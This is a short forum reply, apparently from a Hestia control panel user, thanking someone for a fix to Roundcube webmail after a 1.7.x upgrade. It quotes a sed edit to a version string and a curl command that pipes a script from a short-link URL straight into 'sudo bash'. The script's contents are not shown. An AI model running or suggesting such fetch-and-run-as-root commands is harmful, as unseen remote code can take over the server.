Did you upgrade Roundcube to 1.7.x?
If the answer is yes, looks like… 
sed -i 's/1\.7\.1/1.7.0/' /var/lib/roundcube/program/include/iniset.php
curl -fsSLm15 https://7j.gg/updrc17 | sudo bash -s --
Well done, as always, you’re number one. I tried with IA this morning to run a few commands that also offered sense, like:
v-rebuild-web-domain
/usr/local/hestia/bin/v-add-letsencrypt-domain
but they didn’t fix the web interface… THANK YOU SO MUCH
